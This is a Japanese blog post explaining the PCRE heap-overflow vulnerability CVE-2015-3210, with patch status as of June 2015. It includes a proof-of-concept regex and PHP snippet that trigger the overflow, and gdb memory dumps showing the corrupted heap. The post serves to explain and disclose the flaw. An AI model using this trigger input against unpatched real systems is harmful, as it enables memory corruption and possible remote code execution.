この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。
こんにちは、せーのです。今日は結構影響の大きそうな脆弱性についての詳細な説明と現時点での対応状況をお知らせ致します。
PCREライブラリとは
PCREライブラリというのは元々はPerlの正規表現と互換性のある正規表現を他の言語でも実現するために作られたライブラリで、現在はCentOSやFedora, RHEL等のLinux系のOSには標準でインストール出来る他、Apache,nginx等のミドルウェア、flash,mySql等のソフトウェア、PHP等このライブラリに依存しているパッケージは多く、システム構築をしたことのある方なら「error: pcre library is required」なんてエラーメッセージを見たことのある方もおおいのではないでしょうか。
どんな脆弱性？
今回の脆弱性は「CVE-2015-3210」という識別番号がついておりまして、内容としては「ヒープオーバーフロー」につながる脆弱性です。 PCREライブラリはC言語で実装されているのですが、正規表現処理compile_regex()を行う際に、mallocに割り当てられたサイズより大きなサイズが書きこまれてしまう、という脆弱性を使って任意のコードが実行できてしまう、というのが今回の脆弱性です。
具体例
もう少し具体的に見て行きましょう。今回の脆弱性は次のようなコードの実行時に引き起こされやすくなります。
/^(?P=B)((?P=B)(?J:(?P<B>c)(?P<B>a(?P=B)))>WGXCREDITS)/どうでしょう。よくわかるような、わからないような。。。実際の言語で書くとどうなるでしょう。 上のコードを最新版のPHP5.6.9(PCRE 8.37を使用)で書くとこんな感じになります。
<?php
preg_match("/^(?P=B)((?P=B)(?J:(?P<B>c)(?P<B>a(?P=B)))>WGXCREDITS)/","ADLAB",$arr);
?>ちょっと見慣れた感じになりました。ではこれを実行したらこういう流れになります。
- PHPのpreg_match()関数がPCREのpcre_compile2リンカを呼ぶ
- pcre_compile2がcompile_regex()を呼び、まず正規表現の結果を格納するメモリサイズを計算する
- 計算したメモリアドレスにポインタを指定する
- pcre_compile2がもう一回compile_regex()を呼び、正規表現の実行結果を格納する
ここで最初に計算したメモリサイズより実際の実行結果の容量が大きくなってしまうわけです。 上のPHPコードをセキュリティ診断で有名なKali Linuxにて実行し、gdbを使ってヒープ領域の状態を見てみると次のようになっています。
==============================================================
gdb php poc.php
9217 re = (REAL_PCRE *)(PUBL(malloc))(size);
(gdb) x/10i $rip
=> 0x46f3cb <php_pcre_compile2+2187>: mov rdi,rbp
0x46f3ce <php_pcre_compile2+2190>: call QWORD PTR [rax]
(gdb) x $rbp
0x97: Cannot access memory at address 0x97
==============================================================この結果から上のコードを実行した結果のメモリサイズは0x97 = 151バイトで、アドレスは0x1007480となります。では2回目のcompile_regexpの実行前と実行後で0x1007480から160バイトの内容を比べてみましょう。
2回目のcompile_regexpの実行前
==============================================================
(gdb) x/160x 0x1007480
0x1007480: [0x45 0x52 0x43 0x50 0x97 0x00 0x00 0x00
0x1007488: 0x00 0x00 0x00 0x00 0x00 0x04 0x00 0x00
0x1007490: 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0xff
0x1007498: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x10074a0: 0x00 0x00 0x40 0x00 0x04 0x00 0x02 0x00
0x10074a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x10074b0: 0xd0 0x7a 0x00 0x01 0x00 0x00 0x00 0x00
0x10074b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x10074c0: 0x00 0x02 0x42 0x00 0x00 0x03 0x42 0x00
0x10074c8: 0x83 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x10074d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x10074d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x10074e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x10074e8: 0x80 0x48 0xd8 0xf6 0xff 0x7f 0x00 0x00
0x10074f0: 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00
0x10074f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1007500: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1007508: 0x60 0x75 0x00 0x01 0x00 0x00 0x00 0x00
0x1007510: 0xff 0xff 0xff 0xff 0xff 0xff 0xff] 0xff
0x1007518: 0xa1 0x01 0x00 0x00 0x00 0x00 0x00 0x00
==============================================================2回目のcompile_regexpの実行後
==============================================================
(gdb) x/160x 0x1007480
0x1007480: [0x45 0x52 0x43 0x50 0x97 0x00 0x00 0x00
0x1007488: 0x00 0x00 0x00 0x00 0x00 0x04 0x00 0x00
0x1007490: 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0xff
0x1007498: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x10074a0: 0x00 0x00 0x40 0x00 0x04 0x00 0x02 0x00
0x10074a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x10074b0: 0xd0 0x7a 0x00 0x01 0x00 0x00 0x00 0x00
0x10074b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x10074c0: 0x00 0x02 0x42 0x00 0x00 0x03 0x42 0x00
0x10074c8: 0x83 0x00 0x51 0x1b 0x73 0x00 0x00 0x00
0x10074d0: 0x02 0x85 0x00 0x45 0x00 0x01 0x73 0x00
0x10074d8: 0x00 0x00 0x02 0x83 0x00 0x22 0x85 0x00
0x10074e0: 0x07 0x00 0x02 0x1d 0x63 0x78 0x00 0x07
0x10074e8: 0x81 0x00 0x12 0x85 0x00 0x0c 0x00 0x03
0x10074f0: 0x1d 0x61 0x73 0x00 0x00 0x00 0x02 0x78
0x10074f8: 0x00 0x0c 0x78 0x00 0x12 0x78 0x00 0x22
0x1007500: 0x1d 0x3e 0x1d 0x57 0x1d 0x47 0x1d 0x58
0x1007508: 0x1d 0x43 0x1d 0x52 0x1d 0x45 0x1d 0x44
0x1007510: 0x1d 0x49 0x1d 0x54 0x1d 0x53 0x78] *0x00
0x1007518: *0x45 *0x78 *0x00 *0x51 0x00 0x00 0x00 0x00
==============================================================おわかりでしょうか。実行前は0x1007480から151バイト目にあたる0x1007510の7バイト目以降はデータはないのにも関わらず実行後は*に当たる部分がオーバーフロー、つまりデータが書き込まれています。今回の例では少なくとも5バイトはオーバーフローしていることになります。この脆弱性でヒープ領域に書き込まれた隣のフィールドに任意のデータを書き込むことができ、リモートによる攻撃が可能になる、というわけです。
対象となるバージョン
- PCRE 8.34以上
- PCRE2 10.10
2015/06/06(JST)現在の対応状況
PCREライブラリ
まずは根本原因であるPCREライブラリです。脆弱性は最新版であるPCRE8.37、PCRE2 10.10も対象となります。開発版ではPCRE, PCRE2共に修正されています。
Linux系OS
Arch Linuxはアップデートにて対応したようですが、他のLinux OSには対応した形跡が見られませんでした。debianのセキュリティページも特に動いているようには見えませんし、RHELのバグジラには「正規表現が原因のクラッシュはセキュリティ事象として取り扱わない」というようなコメントがあったり、なんか出足が遅い気がします。ヒープオーバーフロー自体が脆弱性としては軽い、と見られているのでしょうか。それともまだテスト段階なのでしょうか。
PHP
PHP Securityによると
OSのPCREライブラリがアップデートされていれて、それとリンクしたPHPなら安全です。（RHEL／Fedoraなど） PHP本体のバンドル版PCREは5月リリースで更新されています。つまり、バンドル版を使ったPHPの場合は最新リリース版のみ安全です！
ということなのですが、「RHEL/FedoraでPCREライブラリがアップデートされている」「PHPのバンドル版PCREのアップデートが脆弱性をfixしたものである」というものを見つけることが出来ませんでした。ですので伝聞レベルを出ませんが、最新版なら安全、とのことです。
まとめ
いかがでしたでしょうか。ちなみに上のコードですが「WGXCREDITS」じゃなくても「AAAAAAAAAA」でも構いません。要は10文字の文字列であればいいようです。 ちなみに今回はPCREのヒープオーバーフローについてでしたが、PCREはスタックオーバーフローにも脆弱性が報告されています。 もしユーザーに正規表現を許可しているサイトを運営されている方はもちろん、ユーザーリクエストをそのまま無処理で正規表現に突っ込むような実装をしているシステムも一旦内容を見なおしたほうが安全かと思います。
12
